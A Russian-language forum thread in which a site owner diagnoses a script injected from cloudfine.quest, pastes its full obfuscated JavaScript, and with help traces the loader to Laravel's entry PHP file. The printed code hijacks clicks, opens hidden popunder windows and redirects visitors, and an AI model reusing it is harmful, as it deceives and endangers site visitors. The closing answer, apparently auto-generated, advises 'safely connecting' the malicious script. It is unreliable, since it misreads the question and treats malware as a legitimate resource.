Кто-нибудь сталкивался с подключением скрипта с домена cloudfine.quest?
Добрый день.
На одном из сайтов столкнулся с такой проблемой. Перед закрывающим тегом head вставляется подключение скрипта:
<script type='text/javascript' async src='https://7bt9di0o.cloudfine.quest/challenge.js'></script> |
<script type='text/javascript' async src='https://7bt9di0o.cloudfine.quest/challenge.js'></script>
Этот домен вообще относится как-то к cloudflare?
Проблема в том, что сайт - простенький самопис из нескольких страниц. Т.е. это не движок с кучей плагинов. И никакой cloudflare установлен не был. На хостинге тоже отрицают причастность к cloudflare и к данному скрипту. Попробовал скопировать сайт и разместить его у себя на локалке - эффект тот же. Скрипт также подключается, виден во всех браузерах.
Прошерстил все файлы проекта - не нашел никаких подключений. Ни по одному из ключевых слов не находится ничего подобного. Антивирус айболит говорит вирусов нет. Кто-нибудь с таким сталкивался? Где можно поискать? Отключил вообще все скрипты с сайта думая, что может шифрованную строку куда-то внедрили и при загрузке документа скрипт внедряет подключение другого скрипта - нет. Даже с отключенным javascript в браузере и с полностью удаленными скриптами из проекта - подключение все равно добавляется.
Дополнительно:
Код скрипта
document.currentScript.remove();if(typeof wsjwa573==='undefined'){const wsjwa573=true;const wkonuolh='https://cloudfine.quest/redirect';if(('PushManager'in window)&&('Notification'in window)&&('fetch'in window)){window.location.replace('https://'+(window.location.hostname!==undefined?wi...);}else{const is5ykqkx=setInterval(()=>{if(document.readyState==='interactive'||document.readyState==='complete'){clearInterval(is5ykqkx);if('ontouchstart'in window){function vg4ymqkq(afzqftyr){document.removeEventListener('click',vg4ymqkq);if(window.open(afzqftyr.target.href===undefined?window.location.href:afzqftyr.target.href,'_blank')!==null){afzqftyr.preventDefault();afzqftyr.stopPropagation();setTimeout(()=>{window.location.href=wkonuolh;},1000);}}document.addEventListener('click',vg4ymqkq);}else{function vg4ymqkq(afzqftyr){afzqftyr.preventDefault();afzqftyr.stopPropagation();document.removeEventListener('click',vg4ymqkq);const ga3m40pt=window.open('','_blank','fullscreen=no,height=100,left='+(screen.width+100)+',location=no,menubar=no,resizable=no,scrollbars=no,status=no,titlebar=no,toolbar=no,top='+(screen.height+100)+',width=100');if(ga3m40pt!==null){function nxq27s6i(){clearTimeout(ryzfrfy5);ga3m40pt.moveTo(0,0);ga3m40pt.resizeTo(window.screen.availWidth,window.screen.availHeight);ga3m40pt.document.location.href=wkonuolh;window.removeEventListener('focus',nxq27s6i);}const ryzfrfy5=setTimeout(()=>{ga3m40pt.close();window.removeEventListener('focus',nxq27s6i);},8000);ga3m40pt.moveTo(screen.width+100,screen.height+100);window.addEventListener('focus',nxq27s6i);}document.body.style.opacity='1';}document.body.style.opacity='0.7';document.addEventListener('click',vg4ymqkq);}}},50);}}
Вредонос:
1. Выполняет все операции и сразу удаляется из dom.
2. Чекает переменную wsjwa573 (на нее много чего завязано, хз зачем, нет времени вычислять).
3. Проверяет, если ли в браузере посетителя pushmanager, notification и fetch apis.
4. Редиректит на вредоносный сайт по условию.
5. Ставит обработчик ontouchstart по клику и условию.
Итп.
Прошерстил все файлы проекта - не нашел никаких подключений. Ни по одному из ключевых слов не находится ничего подобного.
Разумеется не нашли, вредонос создавался не для того, чтобы его было просто найти. Ищите дальше, кто то его в любом случае подключает на страницу.
- Еще эта скотина дебаггер блочит, постоянно приходится включать "игнорировать точки останова" и включать далее. Иначе если открыта консоль - сайт перестает грузиться. А где можно найти? Я раньше со многими вирусами сталкивался, но они или явно были подключены, или шифрованные внедрены в какой-то другой скрипт и тот их запускал. А тут вот прям реально чистый проект. Я понимаю, что где-то 100% засел, но где?! Все файлы шаблона чистые, хоть html, хоть js. Никаких сторонних php файлов тоже нет. Прямо чудеса какие-то. Ничего нет, а вирус есть...
- lolrofl01,
А где можно найти?
Я понимаю, что где-то 100% засел, но где?!
Я не знаю структуру и код Вашего проекта, а значит, где угодно.
Прямо чудеса какие-то. Ничего нет, а вирус есть...
Все логично.
- Михаил Р.,
Я не знаю структуру и код Вашего проекта, а значит, где угодно.
Не, я не к тому, чтобы Вы телепатически мне файл подсказали)) Просто может по опыту знаете куда чаще всего внедряют, в html разметку или в php файл какой. Или может даже в стили научились.. За последние годы много вирусов вывел, но они всегда плюс-минус легко ловились, а тут новое поколение что ли..
- lolrofl01,
Просто может по опыту знаете куда чаще всего внедряют, в html разметку или в php файл какой.
Обычно, порядок заражения такой:
1. Простые боты чекают популярные сайты из поисковой выдачи, которые работают на популярных движках.
2. Второй бот заходит уже на конкретные сайты из п1, и если это например wp, то пытается его взломать одни из десятков методов, обычно, через уязвимости в установленных плагинах.
3. Если п2. успешен, то внедряется php код (wp же) в какой то файл, который будет внедрять этот js в html.Соответственно, самое простое - искать инфицированные файлы по датам их изменения. Подозрительно, если все файлы из определенной директории изменялись ровно месяц назад, а один - сутки назад.
- Михаил Р., Все, успешно решил. Оказалось, что встроили в php файл стартовой точки laravel. Поразительно вообще. Встроили банальным шифрованным способом, на который всегда ранее реагировал ai bolit, а теперь нет. Спасибо за помощь!
P.S.
искать инфицированные файлы по датам их изменения
А в чем может быть такая проблема. Есть папка, написано, что дата изменения этой директории 29 января 2024. Подозрительно, сайт не трогали целый год! Открываю, а там все директории и файлы с датой изменения 2022 года. И как это получается? Что тогда меняли в 2024?! Видимо, это какая-то особенность линукса, потому что в любом фтп клиенте так и в менеджере файлов на хостинге...
- lolrofl01,
Оказалось, что встроили в php файл стартовой точки laravel.
Значит не только джанго чекают, но и ларку.
А в чем может быть такая проблема. Есть папка, написано, что дата изменения этой директории 29 января 2024. Подозрительно, сайт не трогали целый год! Открываю, а там все директории и файлы с датой изменения 2022 года. И как это получается? Что тогда меняли в 2024?! Видимо, это какая-то особенность линукса, потому что в любом фтп клиенте так и в менеджере файлов на хостинге...
В линуксах каждый файл и директория имеют три основных временных метки:
- Время последнего доступа atime – время последнего чтения файла или директории.
- Время последнего изменения mtime – время последнего изменения содержимого файла или директории.
- Время последнего изменения inode ctime – время последнего изменения метаданных файла или директории.Если все файлы внутри директории имеют дату изменения 2022 года, значит сами файлы не изменялись после этого времени. Однако сама директория могла измениться по причинам, упомянутым выше, что и отразилось на её временных метках.
Ответы:
lolrofl01,
html разметку или в php файл какой
Да где угодно. Может вообще в изображение пихнули (хотя я не разбираюсь особо в таком).
Меня вообще удивляет, что вы как-то ловите такие вирусы. Когда проект самопис, ну или по крайней мере используется что-то популярное (фреймворки или cms), то такого вообще не наблюдается. А вот если брать что-то крякнутое, то вполне может быть.
В любом случае начните с HTML, потом перейдите к js файлам. Возможно из js как-то вызывается. Потом уже к php.
И по файлам: нужно смотреть не на наличии подозрительных файлов, а изменении кода. Т.е. могут в зашифрованном виде что-то написано или просто напрямую вызывать то, что не должно быть там.
-
Меня вообще удивляет, что вы как-то ловите такие вирусы. Когда проект самопис, ну или по крайней мере используется что-то популярное (фреймворки или cms), то такого вообще не наблюдается. А вот если брать что-то крякнутое, то вполне может быть.
Когда проекты коммерческие и есть серьезные конкуренты - это обычное дело. У меня так же есть сайт ecommerce, где есть банальная форма заказа звонка. Разумеется, пошел спам, как же без этого. Чтобы не утруждаться, было принято решение поставить невидимую капчу. Т.е. передавать какой-то параметр на сервер и проверять его наличие. Если есть - отправлять заявку. Обычно на этом 99% спаммеров отваливается, потому что они автоматические, не умеют в js, да и вообще надо в коде поковыряться, чтобы понять, какие именно параметры надо отправить и в каком порядке. Зачем это, если можно пойти и 10 других сайтов без защиты заспамить. Но тут нет, меняли параметры - через 3 дня кто-то подстраивал спаммер под них. Еще раз поменяли - снова через 3 дня пошел спам. Решили уже делать полноценную защиту.
Так что от проекта зависит. Если это банальный блог - то его и трогать никто не будет, если только не заразят через какое-нибудь популярное расширение npm или типа того.
- lolrofl01, в моей практике были и комерс. проекты и простые. На счёт спама согласен, он был, есть и будет всегда. Но кроме спама ни чего не встречал.
- Дмитрий Кузнецов, ну, это вопрос времени) Тем более, что многие заказчики когда убегают с условного вордпресса, заказывая самопис, требуют, чтобы вордпресс проект на всякий случай не удаляли, а оставили в том же каталоге с самописом в папке old_project. Ну и, соответственно, на много лет о нем забывают, за эти много лет и плагины и ВП ни обновляются. дыр все больше и больше и они открывают доступ ко всему каталогу. Это тоже как один из вариантов. А вообще сами же знаете, если кому-то понадобится - взломают и ваши сайты и ваш комп и телефон и что угодно, главное, чтобы у кого-то был интерес и мотивация)
Опишите проблему, и специалист поможет с настройкой, исправлением ошибки или доработкой сайта. Подберём понятный план работ без лишней переписки.
Пока нет других ответов. Будьте первым, кто поможет автору.
Ответить на вопрос
Для начала, стоит отметить, что подключение скрипта с домена cloudfine.quest может вызвать определенные риски, так как неизвестно, что именно этот скрипт делает и какие данные он собирает. Поэтому всегда рекомендуется быть осторожным при включении скриптов с неизвестных источников.
Однако, если у вас есть необходимость подключить скрипт с домена cloudfine.quest, вам следует убедиться, что этот домен безопасен и доверенный. Вы можете провести исследование этого домена, чтобы узнать о его репутации и прочитать отзывы других пользователей.
Если вы все же решили подключить скрипт с этого домена, вам нужно добавить следующий код на вашу веб-страницу:
Помните, что важно следить за обновлениями этого скрипта и проверять его на предмет безопасности, чтобы избежать уязвимостей и атак.
Также рекомендуется использовать Content Security Policy (CSP) для защиты вашего сайта от вредоносных скриптов, в том числе и скриптов с домена cloudfine.quest. CSP позволяет указать браузеру, откуда можно загружать ресурсы, и предотвратить выполнение неожиданных скриптов.
Надеюсь, что данная информация поможет вам безопасно подключить скрипт с домена cloudfine.quest. Если у вас возникнут дополнительные вопросы, не стесняйтесь задавать.